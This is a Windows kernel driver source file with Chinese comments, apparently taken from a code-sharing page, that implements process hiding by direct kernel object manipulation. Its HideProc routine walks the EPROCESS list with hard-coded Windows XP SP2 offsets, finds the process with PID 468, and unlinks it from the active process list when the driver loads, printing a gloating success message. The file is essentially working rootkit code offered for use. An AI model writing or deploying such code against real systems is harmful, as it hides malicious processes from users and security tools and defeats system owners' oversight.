?? fristdriver.c
字號:
/////////////////////////////////////////////////
//
#include <ntddk.h>
//#include "IoCTL.h"
// 自定義函數的聲明
NTSTATUS DispatchCreateClose(PDEVICE_OBJECT pDevObj, PIRP pIrp);
void DriverUnload(PDRIVER_OBJECT pDriverObj);
NTSTATUS DispatchIoctl(PDEVICE_OBJECT pDevObj, PIRP pIrp);
ULONG FindProcessEPROC (ULONG terminate_PID);
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObj, PUNICODE_STRING pRegistryString);
NTSTATUS HideProc();
// 驅動內部名稱和符號連接名稱
#define DEVICE_NAME L"\\Device\\devDriverDemo"
#define LINK_NAME L"\\??\\slDriverDemo"
// FindProcessEPROC takes the PID of the process to find and
// returns the address of the EPROCESS structure for the desired process.
ULONG FindProcessEPROC (ULONG terminate_PID)
{
//這個函數用來獲得指定PID的 EPROCESS偏移
PLIST_ENTRY plist_active_procs;
ULONG eproc;
ULONG PIDOFFSET,current_PID,start_PID, i_count,FLINKOFFSET;
eproc = 0x00000000;
PIDOFFSET = 0x84; //SP2
FLINKOFFSET = 0x88;
current_PID = 0;
start_PID = 0;
i_count = 0;
if (terminate_PID == 0)
return terminate_PID;
// Get the address of the current EPROCESS
eproc = (ULONG) PsGetCurrentProcess(); //KTHREAD
start_PID = *((ULONG *)(eproc+PIDOFFSET)); //PID
current_PID = start_PID;
while(1)
{
if(terminate_PID == current_PID) // found
return eproc;
else if((i_count >= 1) && (start_PID == current_PID))
{
//當整個進程都遍歷完成卻沒有找到這個PID的時候 才會出現這種情況
return 0x00000000;
}
else { // Advance in the list.
plist_active_procs = (LIST_ENTRY *) (eproc+FLINKOFFSET); //LIST
eproc = (ULONG) plist_active_procs->Flink; //the flink of the next list entry
eproc = eproc - FLINKOFFSET; //the next EPROCESS
current_PID = *((ULONG *)(eproc+PIDOFFSET)); //THE NEXT PID
i_count++;
}
}
}
NTSTATUS HideProc()
{
PLIST_ENTRY plist_active_procs;
ULONG FLINKOFFSET,eproc;
// Find the EPROCESS to hide.
eproc = FindProcessEPROC(468);
FLINKOFFSET = 0x88;
if (eproc == 0x00000000)
{
DbgPrint("can't find the eproc!!");
return STATUS_INVALID_PARAMETER;
}
plist_active_procs = (LIST_ENTRY *)(eproc+FLINKOFFSET);
// Change the FLINK and BLINK of the rearward and forward EPROCESS blocks.
*((ULONG *)plist_active_procs->Blink) = (ULONG) plist_active_procs->Flink; //動作一
*((ULONG *)plist_active_procs->Flink+1) = (ULONG) plist_active_procs->Blink; //動作二
// Change the FLINK and BLINK of the process we are hiding so that when
// it is dereferenced, it points to a valid memory region.
plist_active_procs->Flink = (LIST_ENTRY *) &(plist_active_procs->Flink);
plist_active_procs->Blink = (LIST_ENTRY *) &(plist_active_procs->Flink);
//這里一定要把flink blink指向自己的link 不然BSOD郁悶死你
return STATUS_SUCCESS;
}
// 驅動程序加載時調用DriverEntry例程
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObj, PUNICODE_STRING pRegistryString)
{
////////////////初始化動作////////////////////////////////
NTSTATUS status;
UNICODE_STRING ustrDevName;
UNICODE_STRING ustrLinkName;
PDEVICE_OBJECT pDevObj;
status = STATUS_SUCCESS;
// 初始化各個派遣例程
pDriverObj->MajorFunction[IRP_MJ_CREATE] = DispatchCreateClose;
pDriverObj->MajorFunction[IRP_MJ_CLOSE] = DispatchCreateClose;
//pDriverObj->MajorFunction[IRP_MJ_DEVICE_CONTROL]=DispatchIoctl;
pDriverObj->DriverUnload = DriverUnload ;
// 創建、初始化設備對象
// 設備名稱
RtlInitUnicodeString(&ustrDevName, DEVICE_NAME);
// 創建設備對象
status = IoCreateDevice(pDriverObj,
0,
&ustrDevName,
FILE_DEVICE_UNKNOWN,
0,
FALSE,
&pDevObj);
if(!NT_SUCCESS(status))
{
return status;
}
// 創建符號連接名稱
// 符號連接名稱
RtlInitUnicodeString(&ustrLinkName, LINK_NAME);
// 創建關聯
status = IoCreateSymbolicLink(&ustrLinkName, &ustrDevName);
if(!NT_SUCCESS(status))
{
IoDeleteDevice(pDevObj);
return status;
}
////////////////////////初始化完畢////////////////////////////////////////
if(STATUS_SUCCESS == HideProc())
DbgPrint("haha hide ok!");
return STATUS_SUCCESS;
}
// I/O控制派遣例程
/*NTSTATUS DispatchIoctl(PDEVICE_OBJECT pDevObj, PIRP pIrp)
{
///////////////////////DispatchIoctl///////////////////////////////
NTSTATUS IoCtlNtstus;
PIO_STACK_LOCATION pIRPStack;
ULONG uIoControlCode;
PVOID pIoBuffer;
ULONG uInSize;
ULONG uOutSize ;
//假設失敗
IoCtlNtstus = STATUS_INVALID_DEVICE_REQUEST;
//IRP堆棧
pIRPStack = IoGetCurrentIrpStackLocation(pIrp);
//控制代碼
uIoControlCode = pIRPStack->Parameters.DeviceIoControl.IoControlCode;
uInSize = pIRPStack->Parameters.DeviceIoControl.InputBufferLength;
uOutSize = pIRPStack->Parameters.DeviceIoControl.OutputBufferLength;
//
pIoBuffer= pIrp-> AssociatedIrp.SystemBuffer;
switch(uIoControlCode)
{
case IO_PID_CTL
{
IoCtlNtstus = STATUS_SUCCESS;
}
break;
}
//完成請求
if(IoCtlNtstus == STATUS_SUCCESS)
pIrp->IoStatus.Information = uOutSize;
else
pIrp->IoStatus.Information = 0;
// 完成請求
pIrp->IoStatus.Status = IoCtlNtstus;
IoCompleteRequest(pIrp, IO_NO_INCREMENT);
return IoCtlNtstus;
}*/
void DriverUnload(PDRIVER_OBJECT pDriverObj)
{
UNICODE_STRING strLink;
/////收尾工作 /////////////////////////////////
DbgPrint("unload");
// 刪除符號連接名稱
RtlInitUnicodeString(&strLink, LINK_NAME);
IoDeleteSymbolicLink(&strLink);
// 刪除設備對象
IoDeleteDevice(pDriverObj->DeviceObject);
}
// 處理IRP_MJ_CREATE、IRP_MJ_CLOSE功能代碼
NTSTATUS DispatchCreateClose(PDEVICE_OBJECT pDevObj, PIRP pIrp)
{
pIrp->IoStatus.Status = STATUS_SUCCESS;
// 完成此請求
IoCompleteRequest(pIrp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -